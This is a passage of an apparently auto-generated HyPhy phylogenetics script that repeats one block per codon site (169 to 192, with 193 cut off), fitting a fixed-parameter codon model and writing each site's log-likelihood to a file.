fprintf(stdout, "\nComputing likelihood for site 169...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "504,505,506", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 169");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "169\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 170...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "507,508,509", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 170");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "170\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 171...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "510,511,512", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 171");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "171\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 172...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "513,514,515", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 172");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "172\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 173...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "516,517,518", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 173");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "173\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 174...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "519,520,521", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 174");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "174\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 175...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "522,523,524", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 175");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "175\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 176...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "525,526,527", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 176");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "176\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 177...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "528,529,530", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 177");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "177\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 178...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "531,532,533", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 178");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "178\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 179...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "534,535,536", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 179");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "179\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 180...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "537,538,539", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 180");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "180\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 181...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "540,541,542", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 181");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "181\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 182...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "543,544,545", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 182");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "182\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 183...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "546,547,548", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 183");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "183\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 184...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "549,550,551", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 184");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "184\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 185...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "552,553,554", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 185");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "185\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 186...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "555,556,557", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 186");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "186\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 187...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "558,559,560", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 187");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "187\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 188...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "561,562,563", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 188");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "188\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 189...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "564,565,566", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 189");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "189\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 190...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "567,568,569", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 190");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "190\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 191...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "570,571,572", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 191");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "191\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 192...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "573,574,575", "", "TAA,TAG,TGA");
assert(sitecodonfilter.sites == 1, "Codon filtered data does not have one site for 192");
CheckCodonFilter("sitecodonfilter");
UseModel(model);
ExecuteCommands("Tree sitetree = treestring;");
assert(sitecodonfilter.species == TipCount(sitetree), "Number of species and number of tips differ");
assert(TipCount(tree) == TipCount(sitetree), "Number of tips differ");
for (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {
branchname = BranchName(tree, ibranch);
ExecuteCommands("branchlength = tree." + branchname + ".t;");
ExecuteCommands("sitetree." + branchname + ".t := " + Format(branchlength, 0, 30) + ";");
}
for (itip=0; itip<TipCount(tree); itip=itip+1) {
tipname = TipName(tree, itip);
ExecuteCommands("tiplength = tree." + tipname + ".t;");
ExecuteCommands("sitetree." + tipname + ".t := " + Format(tiplength, 0, 30) + ";");
}
LikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);
Optimize(sitemlestimates, sitelikelihood);
assert(sitemlestimates[1][1] == 0, "Found a variable optimized. Either a model or branch parameter must have not been fixed");
fprintf(persitelikelihoods, "192\t", sitemlestimates[1][0], "\n");
fprintf(stdout, "\nComputing likelihood for site 193...\n");
DataSetFilter sitecodonfilter = CreateFilter(data, 3, "576,577,578", "", "TAA,TAG,TGA");
